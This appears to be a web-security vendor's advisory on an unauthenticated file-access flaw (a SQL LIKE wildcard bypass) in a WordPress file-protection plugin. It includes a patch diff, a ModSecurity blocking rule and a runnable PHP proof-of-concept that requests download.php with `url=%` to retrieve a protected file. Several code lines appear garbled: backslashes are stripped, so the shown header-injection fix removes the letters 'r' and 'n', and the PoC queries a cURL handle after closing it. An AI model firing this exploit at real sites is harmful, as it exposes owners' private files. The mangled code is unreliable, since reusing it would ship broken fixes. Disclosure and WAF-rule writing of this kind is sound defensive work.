Published : August 12, 2026

CVE-2026-3835: Prevent Direct Access – Protect WordPress Files <= 2.8.8.8 Unauthenticated Protected File Access PoC, Patch Analysis & Rule

CVE ID CVE-2026-3835
Severity Medium (CVSS 5.3)
CWE 285
Vulnerable Version 2.8.8.8
Patched Version 2.8.8.9
Disclosed August 11, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-3835: The Prevent Direct Access – Protect WordPress Files plugin, up to version 2.8.8.8, contains an unauthenticated protected file access vulnerability. The flaw resides in the `get_advance_file_by_url()` method within `includes/repository.php`. The vulnerable code uses a SQL `LIKE` operator for token lookup, which fails to escape wildcard characters, allowing an attacker to bypass the access control and download protected files. The CVSS score is 5.3 (Medium).

Root Cause: The root cause is an insecure SQL query in the `get_advance_file_by_url()` function, located on line 236 of the `prevent-direct-access/includes/repository.php` file. The method constructs a query using `$wpdb->prepare( “SELECT * FROM $this->table_name WHERE url LIKE %s”, $url )`. The `LIKE` operator in SQL treats `%` and `_` as wildcard characters. The `$wpdb->prepare()` function does not escape these, meaning an attacker can inject `%` as the token value. This causes the query to match the first row in the table, which contains the URL of the first protected file. The function is called by the download handler, which does not perform any additional authorization checks on the file itself, only matching the provided URL to a database entry.

Exploitation: An unauthenticated attacker can exploit this by crafting a request to the plugin’s download endpoint. The normal download URL format includes a token, typically accessed via the `pda_download` or similar parameter. To bypass the token requirement, the attacker replaces the legitimate token portion of the URL with a single `%` character. For example, a request to `/wp-content/plugins/prevent-direct-access/download.php?url=%` would cause the `get_advance_file_by_url()` method to execute a query that matches the first record in the plugin’s file table. This first record often corresponds to the most recently protected file. The script then proceeds with the download, serving the file content to the unauthenticated attacker.

Patch Analysis: The patch modifies the SQL query in `get_advance_file_by_url()` by changing the operator from `LIKE` to the equality operator `=`. This change ensures that the query performs an exact match on the URL token. Before the patch, a `%` would match any record. After the patch, an exact match is required, and a `%` character would only match a row if the literal URL in the database contains a `%`. This prevents the wildcard bypass. The patch also includes several security hardening changes, such as adding capability checks like `current_user_can(‘upload_files’)` to AJAX handlers and sanitizing output in the admin settings page, along with fixing a potential header injection issue in `download.php`.

Impact: Successful exploitation allows an unauthenticated attacker to download any file protected by the plugin. This can include private documents, images, PDFs, or other sensitive media that the site administrator intended to keep confidential. The impact is a direct breach of data confidentiality, potentially exposing sensitive business data, personal user information, or proprietary content. The attacker does not require any authentication or special privileges, making this a high-risk vulnerability for sites storing sensitive files.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/prevent-direct-access/download.php
+++ b/prevent-direct-access/download.php
@@ -505,7 +505,8 @@

 	if ( is_image( $file ) == false && is_pdf( $mimetype ) == false && is_video( $mimetype ) == false && is_audio( $mimetype ) == false ) {
 		$file_name = wp_basename( $file );
-		header( "Content-Disposition: attachment; filename=$file_name" );
+		$file_name = str_replace( array( "r", "n", '"' ), '', $file_name );
+		header( 'Content-Disposition: attachment; filename="' . $file_name . '"' );
 	}

 	//set header
--- a/prevent-direct-access/includes/repository.php
+++ b/prevent-direct-access/includes/repository.php
@@ -233,7 +233,7 @@
      * return string
      */
 	function get_advance_file_by_url( $url ) {
-		$advance_file = $this->wpdb->get_row( $this->wpdb->prepare( "SELECT * FROM $this->table_name WHERE url LIKE %s", $url ) );
+		$advance_file = $this->wpdb->get_row( $this->wpdb->prepare( "SELECT * FROM $this->table_name WHERE url = %s", $url ) );
 		return $advance_file;
 	}

--- a/prevent-direct-access/includes/settings_page.php
+++ b/prevent-direct-access/includes/settings_page.php
@@ -135,7 +135,7 @@
                     <div style="margin-bottom:10px; margin-top: 10px">
                         <p><?php echo esc_html__('Deny list these IP addresses: stop the following IP addresses from accessing private download links','prevent-direct-access') ?></p>
                     </div>
-                    <input id="pda_free_pl_blacklist_ips" name="ip_lock" value="<?php esc_attr($ip_lock); ?>" /><br>
+                    <input id="pda_free_pl_blacklist_ips" name="ip_lock" value="<?php echo esc_attr($ip_lock); ?>" /><br>
                     <p class="description">Use the asterisk (*) for wildcard matching, e.g. 7.7.7.* will match IP from 7.7.7.0 to 7.7.7.255</p><br>
                     <input type="submit" value="<?php esc_attr_e('Save Changes','prevent-direct-access'); ?>" class="button button-primary" name="btn_ip_lock" id="pda_free_submit_btn">
                 </form>
--- a/prevent-direct-access/prevent-direct-access.php
+++ b/prevent-direct-access/prevent-direct-access.php
@@ -3,10 +3,11 @@
 Plugin Name: Prevent Direct Access
 Plugin URI: https://preventdirectaccess.com
 Description: Prevent Direct Access provides a simple solution to prevent Google and AI bot indexing as well as the public from accessing your files without permission. This plugin is required for our Gold version to work properly.
-Version: 2.8.8.8
+Version: 2.8.8.9
 Author: BWPS
 Author URI: https://preventdirectaccess.com
 Tags: files, management
+Requires PHP: 7.0
 License: GPL
 Text Domain: prevent-direct-access
 Domain Path: /languages
@@ -23,7 +24,7 @@
 define('PDA_SIDEBAR_API', 'https://preventdirectaccess.com/wp-json/pda-fss/v1/content');
 define('PDA_PRICING_PAGE', 'https://preventdirectaccess.com/pricing/?utm_source=user-website&utm_medium=%s&utm_campaign=%s');
 define('PDA_TEXTDOMAIN', 'prevent-direct-access');
-define('PDAF_VERSION', '2.8.8.8');
+define('PDAF_VERSION', '2.8.8.9');
 define('PDA_LITE_BASE_URL', plugin_dir_url(__FILE__));
 define('PDA_LITE_BASE_DIR', plugin_dir_path(__FILE__));
 define('PDA_LITE_PLUGIN_BASE_NAME', plugin_basename( __FILE__ ) );
@@ -505,13 +506,6 @@
             </div>
             <?php
         }
-
-        if ($column_name == 'hits_count' ) {
-            $hits_count = ( isset($advance_file) && isset($advance_file->hits_count) ) ? $advance_file->hits_count : 0;
-            ?>
-            <label><?php echo esc_html( $hits_count ); ?></label>
-            <?php
-        }
     }

     /**
@@ -539,6 +533,12 @@
             );
         }

+        if (! current_user_can('upload_files') ) {
+            wp_die(
+                esc_html__( 'You do not have permission to do this.', 'prevent-direct-access' )
+            );
+        }
+
         $nonce = sanitize_text_field( wp_unslash( $_REQUEST['security_check'] ) );
         $post_id = absint($_POST['id']);
         if (! wp_verify_nonce($nonce, 'pda_ajax_nonce' . $post_id) ) {
@@ -600,6 +600,12 @@
             );
         }

+        if (! current_user_can('upload_files') ) {
+            wp_die(
+                esc_html__( 'You do not have permission to do this.', 'prevent-direct-access' )
+            );
+        }
+
         $nonce = sanitize_text_field( wp_unslash( $_REQUEST['security_check'] ) );
         $post_id = absint($_POST['id']);
         //$this->check_nonce($nonce, $post_id);
@@ -951,6 +957,12 @@
             );
         }

+        if (! current_user_can('manage_options') ) {
+            wp_die(
+                esc_html__( 'You do not have permission to do this.', 'prevent-direct-access' )
+            );
+        }
+
         $nonce = sanitize_text_field( wp_unslash( $_REQUEST['security_check'] ) );
         if (! wp_verify_nonce($nonce, 'pda_ajax_nonce_v3') ) {
             wp_die(
@@ -988,6 +1000,16 @@
      */
     public function pda_lite_update_ip_restriction_settings()
     {
+        if (! current_user_can('manage_options') ) {
+            return wp_send_json_error(
+                array(
+                'success' => false,
+                'message' => __( 'You do not have permission to do this.', 'prevent-direct-access' ),
+                ),
+                403
+            );
+        }
+
         $nonce = isset($_REQUEST['security_check']) ? sanitize_text_field( wp_unslash( $_REQUEST['security_check'] ) ) : false;
         if (! $nonce || ! wp_verify_nonce($nonce, 'pda_ajax_nonce_v3') ) {
             return wp_send_json_error(

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@streq /wp-content/plugins/prevent-direct-access/download.php" 
    "id:20263835,phase:2,deny,status:403,chain,msg:'CVE-2026-3835 - Prevent Direct Access protected file access bypass',severity:'CRITICAL',tag:'CVE-2026-3835'"
    SecRule ARGS:url "@rx ^[%_]" "chain"
        SecRule ARGS:url "@rx [%_]$" "t:urlDecode"
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3835 - Unauthenticated Protected File Access

$target_url = 'http://example.com'; // Set the target WordPress site URL

// This is the path to the vulnerable plugin's download handler.
$download_url = $target_url . '/wp-content/plugins/prevent-direct-access/download.php';

// Initialize cURL session
$ch = curl_init();

// Set the target URL. The vulnerability is triggered by using '%' as the token value.
// The exact parameter name may vary; 'url' is a common one for this plugin.
curl_setopt($ch, CURLOPT_URL, $download_url . '?url=%');

// Set options to return the response as a string instead of outputting it.
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

// Follow redirects, as the script may redirect to the file.
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Set a custom User-Agent to avoid simple bot detection.
curl_setopt($ch, CURLOPT_USERAGENT, 'AtomicEdge-CVE-PoC');

// Execute the cURL request.
$response = curl_exec($ch);

// Check for errors.
if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch) . "n";
    curl_close($ch);
    exit(1);
}

// Close the cURL session.
curl_close($ch);

// Check the response to see if we got a file download or an error.
// If the response contains binary content (e.g., a file signature) or a non-HTML content, the exploit worked.
if ($response !== false) {
    $response_length = strlen($response);
    $content_type = curl_getinfo($ch, CURLINFO_CONTENT_TYPE);
    echo "Response received. Length: {$response_length} bytes. Content-Type: {$content_type}n";
    // Check for common file signatures (e.g., PDF '%PDF-', ZIP 'PK', etc.)
    if (strpos($response, '%PDF-') === 0 || strpos($response, 'PK') === 0) {
        echo "[+] Vulnerability confirmed! Successfully downloaded protected file content.n";
    } else {
        echo "[-] The response does not look like a file. The request may have failed or the site is patched.n";
        // Print first 200 characters for debugging.
        echo 'Response preview: ' . substr($response, 0, 200) . "n";
    }
} else {
    echo "[-] Failed to receive a response from the target server.n";
}

echo "n[+] Note: The first protected file in the database will be returned. If the target site is patched, this PoC will not work.n";

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.